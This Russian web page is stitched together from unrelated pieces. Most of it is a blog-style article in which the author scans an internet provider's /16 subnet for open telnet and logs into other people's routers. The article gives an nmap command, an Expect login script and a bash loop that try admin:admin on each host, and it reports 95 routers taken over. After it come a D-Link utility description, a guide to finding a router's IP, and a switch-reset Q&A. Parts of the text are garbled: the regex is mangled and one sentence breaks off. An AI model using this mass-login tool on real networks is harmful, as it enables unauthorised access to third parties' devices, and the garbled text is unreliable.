Автоматический поиск роутеров со стандартными паролями
Недавно мне пришла в голову банальная мысль, что большинство людей кладут на настройку своих роутеров, и на них можно зайти по дефолтным паролям. А много ли таких роутеров вдобавок открыты для входа из интернета, что делает их проходным двором? И как это по-быстрому проверить?
Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.
Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.
Первая мысль, которая приходит в голову: сканировать nmap’ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!
Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.
nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt
Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ —open позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.
Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.
Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:
grep -o -E '(4[\.])8' raw_log.txt > log.txt
Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ -o выводит только найденную подстроку, что нам и требуется.
Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.
Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.
Попытки автоматизации telnet’а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet
#!/usr/bin/expect -f set SERVER [lindex $argv 0]; set USER [lindex $argv 1]; set PASS [lindex $argv 2]; set timeout 1 spawn telnet $SERVER expect ":" send "$USER\r" expect ":" send "$PASS\r" expect ">" exit 1
Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.
Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан «#». Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида
#!/bin/bash while read line; do ./try_telnet $line admin admin; done < log.txt
В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).
Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью
grep 'FOUND' out.txt > final.txt
Получаем 95 роутеров с авторизацией admin:admin — цель достигнута.
В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).
В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.
В заключение хочу сказать, что я честно попытался информировать провайдера, однако электронной почты у него нет, толька форма «для обращений» с полями обязательного ввода «домашний адрес» и «телефон». Тогда друг и посоветовал написать на Хабрахабр. Всем спасибо!
Поиск роутеров d link
DNA
Описание
D-Link Network Assistant (DNA) предоставляет возможность контролировать все устройства D-Link, используя одно универсальное приложение. С его помощью можно обнаружить новое устройство, разрешить конфликт IP-адресов, изменить учетные данные пользователя, настроить дату и время, включить или отключить SNMP, а также решить другие задачи по персонализации устройства.
DNA позволяет легко и быстро выполнить настройку нового оборудования, автоматически обнаруживая устройства D-Link в сети и предоставляя пользователю доступ к информации, необходимой для управления, диагностики и добавления оборудования в сеть. Устройства можно объединять в рабочие области, чтобы оптимизировать их функционирование и облегчить управление ими. DNA позволяет узнать статус поддержки устройства, его системное имя, IP-адрес, МАС-адрес, серийный номер, версию аппаратного и программного обеспечения, а также статус включения SNMP. При помощи DNA можно обновить программное обеспечение, прибегнуть к резервному копированию или восстановлению настроек, а также выполнить перезагрузку или сбросить настройки устройства в один клик.
Настройка устройств при первом запуске
D-Link Network Assistant позволяет упростить начальную настройку устройств D-Link, сокращая время интеграции нового оборудования в сеть, а также снижая расходы на администрирование и обслуживание устройства.
Одновременная настройка нескольких устройств
С помощью D-Link Network Assistant можно объединить в группу несколько устройств, что позволяет задавать необходимые настройки сразу на всех устройствах, входящих в группу.
Интуитивно понятный интерфейс для настройки отдельных устройств
D-Link Network Assistant помогает задать индивидуальные настройки для отдельных устройств, упрощая процесс персонализации оборудования.
Управление устройствами при помощи рабочих областей
D-Link Network Assistant дает возможность пользователям создавать рабочие области с собственным списком устройств и отдельной историей.
Как найти d link в сети
В большинстве случаев узнать IP-адрес маршрутизатора довольно легко. Для этого достаточно перевернуть роутер и посмотреть данные на стикере, который был наклеен производителем. Кроме адреса для входа в панель управления роутером, на этой же наклейке обычно указаны данные учётной записи, используемые по умолчанию.
IP-адрес состоит из четырёх групп цифр, разделённых точками. Для выполнения настройки маршрутизатора эту комбинацию символов необходимо ввести в любом интернет-браузере.
Важно! Если на роутер была установлена нестандартная прошивка, его IP может отличаться от указанного на наклейке или в инструкции. Если стандартный адрес не подходит, вы можете узнать IP средствами Windows.
Определение IP адреса программным путём
В некоторых случаях узнать IP роутера на наклейке не получается (например, данные затёрты или стикер отклеился). Уточнить адрес вы сможете через компьютер, который подключен к устройству. Для подключения используйте Wi-Fi или Ethernet-кабель. Когда связь будет установлена, откройте панель управления, выберите «Центр управления сетями и общим доступом». В пункте «Просмотр активных сетей -> Подключения» нажмите на название вашей сети.
В окне с данными о подключении нажимаем кнопку «Сведения».
Нужный нам параметр называется «Шлюз по умолчанию IPv4». Именно в этом пункте будет написан IP-адрес роутера.
Для использования альтернативного способа уточнения IP роутера нажмите комбинацию клавиш «Win+R» и введите название программы: cmd. Если окно выполнения не открывается, выберите пункт «Выполнить», нажав правой кнопкой на меню «Пуск».
После запуска текстового интерфейса введите команду ipconfig и нажмите Enter. В окне отобразятся все данные о ваших сетевых устройствах и активных подключениях. IP роутера можно узнать в строке «Основной шлюз». Как правило, он имеет формат «192.168.X.X» или «10.10.Х.Х», так как эти диапазоны IP зарезервированы для внутренней адресации.
Если после выполнения команды статистика недоступна или вы не можете найти необходимый сетевой адаптер, используйте альтернативную команду: tracert. В отличие от предыдущей, она не отображает сетевую статистику, а показывает весь путь, который проходит запрос на доступ к определённому сайту или IP-адресу. Поэтому, после самой команды через пробел необходимо указать любой сетевой адрес. К примеру, на скриншоте используется ya.ru. Первым шагом при маршрутизации (перенаправлении запроса) является обращение к роутеру. Поэтому узнать IP роутера можно в первой строке трассировки маршрутов.
Для других операционных систем действия по определению адреса маршрутизатора могут отличаться. Но в большинстве случаев IP роутера можно проверить в свойствах текущего подключения.
Универсальные IP-адреса роутеров
В прошивках некоторых современных маршрутизаторов имеются универсальные адреса. В отличие от IP, они выглядят как обычный интернет-адрес, а значит, состоят не только из наборов цифр и точек между ними. При переходе по такому адресу устройство самостоятельно определит свой текущий IP и перенаправит вас на него. Иногда производитель указывает универсальный адрес на наклейке, вместо реального IP-адреса.
Безусловно, это упрощает процесс настройки, однако для того, чтобы узнать реальный адрес роутера, потребуется выполнить дополнительный шаг. Откройте веб-интерфейс аппарата по указанному универсальному адресу и введите стандартные данные для входа. В панели управления вы сможете уточнить настоящий IP-адрес. Например, на устройствах TP-Link — во вкладке «Состояние», раздел «Локальная сеть».
Обратите внимание! Универсальный IP-адрес можно посмотреть в инструкции к роутеру или уточнить на сайте производителя.
Видео: Узнаем IP роутера
У меня есть две D-LINK-переключатели в моей сети, и я, кажется, неправильно разместил их IP-адреса, поэтому я не могу их удалять.
У меня порт сканировал мою сеть, а порт 80 (т. е. веб-интерфейсы коммутаторов) не открыт ни на одном IP-адресе, который я вижу: /
У меня есть MAC-адреса обоих устройств.
Я pinged multicast моей подсети ( 192.168.0.255 ), а затем сделал
Я попытался настроить IP подключенного компьютера на
, поскольку IP-адреса переключателей, по-видимому, 10.90.90.90 и повторяются выше, без везения.
Кто-нибудь знает, как сбросить заводские настройки любого из этих переключателей
Изменить: Оба коммутатора работают в режиме онлайн и полностью функциональны, я просто администратор обращаюсь к ним!
4 ответа
Я думаю, что это должен быть D-LINK DGS -1210. (не D-LINK DSG -1210?)
Если DHCP-клиент на этих коммутаторах отключен, вы не можете быть уверены в том, на каком IP-адресе. Вы можете попробовать бесплатный Netscanner от Softperfect (мой любимый для Windows) или использовать nmap 192.168.0.0/16 -sP в Linux (где 192.168.0.x – ваша текущая сеть). Если это не работает, вы можете попробовать то же самое на 10.90.90.x .
Но, может быть, вам удастся сделать заводские сбросы на этих устройствах.
В руководстве (у вас есть один?) он утверждает, что вы можете нажать кнопку сброса (на передней панели) в течение 5 секунд, чтобы перейти к значениям по умолчанию.
Сайт поддержки для них здесь . Существует также возможность загрузить руководство.
После сброса устройства он будет на 10.90.90.90.